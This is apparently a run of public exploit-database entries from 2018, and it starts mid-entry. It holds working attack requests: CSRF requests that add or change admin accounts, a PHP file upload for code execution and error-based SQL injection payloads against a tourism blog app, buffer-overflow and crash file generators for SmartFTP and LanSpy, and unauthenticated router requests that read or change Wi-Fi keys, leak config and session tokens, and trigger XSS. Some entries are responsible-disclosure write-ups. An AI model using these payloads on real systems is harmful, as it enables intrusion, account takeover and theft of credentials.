Pragma: no-cache
Keep-Alive: timeout=5, max=86
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

#Cross-Site Request Forgery (Update Admin)
POST /[PATH]/admin/modules/user/controller.php?action=edit HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
user_id=312316&deptid=&user_name=administrator&deptid=&user_email=admin&deptid=&user_pass=efeefe&deptid=&retype_user_pass=efeefe&save=: undefined
HTTP/1.1 200 OK
Date: Wed, 05 Dec 2018 19:29:44 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 57
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

#Cross-Site Request Forgery (Add Admin)
POST /[PATH]/admin/modules/user/controller.php?action=add HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
deptid=&user_name=efe&deptid=&user_email=efe&deptid=&user_pass=efeefe&deptid=&retype_user_pass=efeefe&save=: undefined
HTTP/1.1 200 OK
Date: Wed, 05 Dec 2018 19:33:34 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 57
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
            
# Exploit Title: Tourism Website Blog - Remote Code Execution / SQL Injection
# Dork: N/A
# Date: 2018-12-06
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.sourcecodester.com/php/12819/tourism-website-blog-faces-negros-web-application.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/chrisjelo/fon_0.zip
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1) 
# http://localhost/[PATH]/admin/action/add_city.php
#
# http://localhost/[PATH]/image/[FILE]
#
POST /[PATH]/admin/action/add_city.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/octet-stream
Content-Length: 329
Cookie: PHPSESSID=hasj51emnq9caak0pf8h8htmm6
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
-----------------------------5585745015474: undefined
Content-Disposition: form-data; name="image"; filename="info.php"
<?php
phpinfo();
?>
-----------------------------5585745015474
Content-Disposition: form-data; name="submit"
-----------------------------5585745015474--
HTTP/1.1 302 Found
Date: Wed, 05 Dec 2018 20:29:27 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: 
Content-Length: 1296
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC: 
# 2) 
# http://localhost/[PATH]/category.php?category=[SQL]
# http://localhost/[PATH]/info.php?address=[SQL]
# http://localhost/[PATH]/negros%20blog/people_profile.php?acc_id=[SQL]
# 

#
GET /[PATH]/category.php?category=Efe%31%32%27%7c%7c%28%53%65%6c%65%43%54%20%27Efe%27%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),%43%6f%6e%43%41%54(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(%53%65%4c%45%63%74%20(ELT(112=112,1))),%46%4c%6f%6f%52(RAnd(0)*2))x%20%46%52%4f%4d%20%49%4e%46%4f%72%6d%61%74%49%4f%4e%5f%53%63%68%45%4d%41%2e%50%6c%75%47%49%4e%53%20grOUp%20BY%20%78%29%61%29%29%7c%7c%27 HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=hasj51emnq9caak0pf8h8htmm6
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Wed, 05 Dec 2018 20:03:01 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

#
GET /[PATH]/info.php?address=1%31%32%27%7c%7c%28%53%65%6c%65%43%54%20%27Efe%27%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),%43%6f%6e%43%41%54(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(%53%65%4c%45%63%74%20(ELT(112=112,1))),%46%4c%6f%6f%52(RAnd(0)*2))x%20%46%52%4f%4d%20%49%4e%46%4f%72%6d%61%74%49%4f%4e%5f%53%63%68%45%4d%41%2e%50%6c%75%47%49%4e%53%20grOUp%20BY%20%78%29%61%29%29%7c%7c%27 HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=hasj51emnq9caak0pf8h8htmm6
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Wed, 05 Dec 2018 20:07:42 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=76
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
            
# -*- coding: utf-8 -*-
# Exploit Title: SmartFTP 9.0 Build 2623 - Denial of Service (PoC)
# Date: 06/12/2018
# Exploit Author: Alejandra Sánchez
# Vendor Homepage: https://www.smartftp.com/en-us/
# Software Link: https://www.smartftp.com/get/SFTPMSI64.exe
# Version: 9.0.2623.0
# Tested on: Windows Server 2016 (x64)/ Windows 10 Single Language x64

# Steps to Produce the Crash: 
# 1.- Run python code : python SmartFTPClient.py
# 2.- Open SmartFTPClient.txt and copy content to clipboard
# 3.- Open SmartFTP Client 
# 4.- New connection
# 5.- Paste ClipBoard on Host 
# 6.- Crashed


buffer = "\x41" * 256
f = open ("SmartFTPClient.txt", "w")
f.write(buffer)
f.close()
            
# Exploit Title: LanSpy 2.0.1.159 - Local BoF (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-12-07
# Homepage: https://lizardsystems.com
# Software Link: https://lizardsystems.com/download/lanspy_setup.exe
# Tested Version: 2.0.1.159
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the program. In the new window paste the content of 
# "exploit.txt" into the scan field. Click the start button.

#!/usr/bin/python
   
buffer = "A" * 688

eip = "B" * 4

payload = buffer + eip
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
            
[*] POC: (CVE-2018-7357 and CVE-2018-7358)

Disclaimer: [This POC is for Educational Purposes , I would Not be
responsible for any misuse of the information mentioned in this blog post]

[+] Unauthenticated

[+] Author: Usman Saeed (usman [at] xc0re.net)

[+] Protocol: UPnP

[+] Affected Harware/Software:

Model name: ZXHN H168N v2.2
Build Timestamp: 20171127193202
Software Version: V2.2.0_PK1.2T5
[+] Findings:

1. Unauthenticated access to WLAN password:

POST /control/igd/wlanc_1_1 HTTP/1.1
Host: <IP>:52869
User-Agent: {omitted}
Content-Length: 288
Connection: close
Content-Type: text/xml; charset=”utf-8″
SOAPACTION: “urn:dslforum-org:service:WLANConfiguration:1#GetSecurityKeys” 1
<?xml version=”1.0″ encoding=”utf-8″?>
<s:Envelope xmlns:s=”http://schemas.xmlsoap.org/soap/envelope/” s:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”><s:Body><u:GetSecurityKeys xmlns:u=”urn:dslforum-org:service:WLANConfiguration:1″></u:GetSecurityKeys></s:Body></s:Envelope>

2. Unauthenticated WLAN passphrase change:

POST /control/igd/wlanc_1_1 HTTP/1.1
Host: <IP>:52869
User-Agent: {omitted}
Content-Length: 496
Connection: close
Content-Type: text/xml; charset=”utf-8″
SOAPACTION: “urn:dslforum-org:service:WLANConfiguration:1#SetSecurityKeys”
<?xml version=”1.0″ encoding=”utf-8″?>
<s:Envelope xmlns:s=”http://schemas.xmlsoap.org/soap/envelope/” s:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”><s:Body><u:SetSecurityKeys xmlns:u=”urn:dslforum-org:service:WLANConfiguration:1″><NewWEPKey0>{omitted}</NewWEPKey0><NewWEPKey1>{omitted}</NewWEPKey1><NewWEPKey2>{omitted}</NewWEPKey2><NewWEPKey3>{omitted}</NewWEPKey3><NewPreSharedKey>{omitted}</NewPreSharedKey><NewKeyPassphrase>{omitted}</NewKeyPassphrase></u:SetSecurityKeys></s:Body></s:Envelope>
[*] Solution:

UPnP should not provide excessive services, and if the fix is not possible, then UPnP should be disabled on the affected devices.

[*] Note:

There are other services which should not be published over UPnP, which are not mentioned in this blog post, as the solution is the same.

[+] Responsible Disclosure:

Vulnerabilities identified – 20 August, 2018
Reported to ZTE – 28 August, 2018
ZTE official statement – 17 September 2018
ZTE patched the vulnerability – 12 November 2018
The operator pushed the update – 12 November 2018
CVE published – Later
Public disclosure – 12 November 2018
Ref: http://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1009522
            
#Product Family: LTE
#Model B315s – 22
#Firmware version: 21.318.01.00.26
#Author: Usman Saeed (usman [at] xc0re.net)

1. Unauthenticated access to sensitive files:

It was observed that the web application running on the router, allows unauthenticated access to sensitive files on the web server.

POC:

By sending a simple GET request without authentication cookie one can get see valid responses:

Request:
GET /config/deviceinformation/config.xml HTTP/1.1
Host: <omitted>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close

Response:

HTTP/1.1 200 OK
…

<?xml version=”1.0″ encoding=”UTF-8″?>
<config>
<devicename>1</devicename>
<serialnumber>0</serialnumber>
<imei>1</imei>
<imsi>1</imsi>
<iccid>0</iccid>
<msisdn>1</msisdn>
<hardwareversion>1</hardwareversion>
<softwareversion>1</softwareversion>
…

Other resources accessible are:

/config/dialup/config.xml
/config/global/config.xml
/config/global/net-type.xml
/config/lan/config.xml
/config/pcassistant/config.xml
/config/voice/config.xml
/config/wifi/configure.xml
## After discussion with Huawei, according to them as the consequence of this vulnerability is quite low thus they marked it as a non-vulnerability.
2. Unauthenticated valid token generation [CVE-2018-7921]

It was observed that an unauthenticated user can generate “SessionID” and “__RequestVerificationToken” by simply sending an HTTP GET request to “/api/webserver/SesTokInfo”.

These tokens, although might not give the user full access to the router but using these, one can access to several restricted resources on the router.

POC:

First, we send a GET request, as mentioned above.

Request:
GET /api/webserver/SesTokInfo HTTP/1.1
Host: <omitted>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close
Content-Length: 0

Response:
HTTP/1.1 200 OK
…

<?xml version=”1.0″ encoding=”UTF-8″?>
<response>
<SesInfo>SessionID=<omitted></SesInfo>
<TokInfo><omitted></TokInfo>
</response>

Now we use these tokens in one of our request where authentication is required:

Request:
GET /api/cradle/status-info HTTP/1.1
Host: <omitted>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
__RequestVerificationToken: <omitted>
X-Requested-With: XMLHttpRequest
Cookie: SessionID=<omitted>
DNT: 1
Connection: close

Response:

HTTP/1.1 200 OK
…

<?xml version=”1.0″ encoding=”UTF-8″?>
…

It is to note with an invalid, expired authentication session, the response is:

Response:
HTTP/1.1 200 OK
…

<?xml version=”1.0″ encoding=”UTF-8″?>
<error>
<code>125002</code>
<message></message>
</error>

[+] Responsible Disclosure:

Vulnerabilities identified – 31/07/2018
Reported to Huawei – 31/07/2018
Huwaei patched the vulnerability and issued a CVE – 31/08/2018
Public disclosure – 01/09/2018
            
[+] Unauthenticated

[+] Author: Usman Saeed (usman [at] xc0re.net)

[+] Affected Version: Firmware version: 1.13 Build 2018/01/24 rel.52299 EU

[·] Impact: Client side attacks are very common and are the source of maximum number of user compromises. With this attack, the threat actor can steal cookies, redirect an innocent victim to a malicious website, thus compromising the user.

[·] Reason: The remote webserver does not filter special characters or illegal input.

[+] Attack type: Remote

[+] Patch Status: Unpatched

[+] Exploitation:

[!] The Cross-site scripting vector can be executed, as illustrated below

http://hostname/webpages/data/_._.<img src=a onerror=alert(“Reflected-XSS”)>../..%2f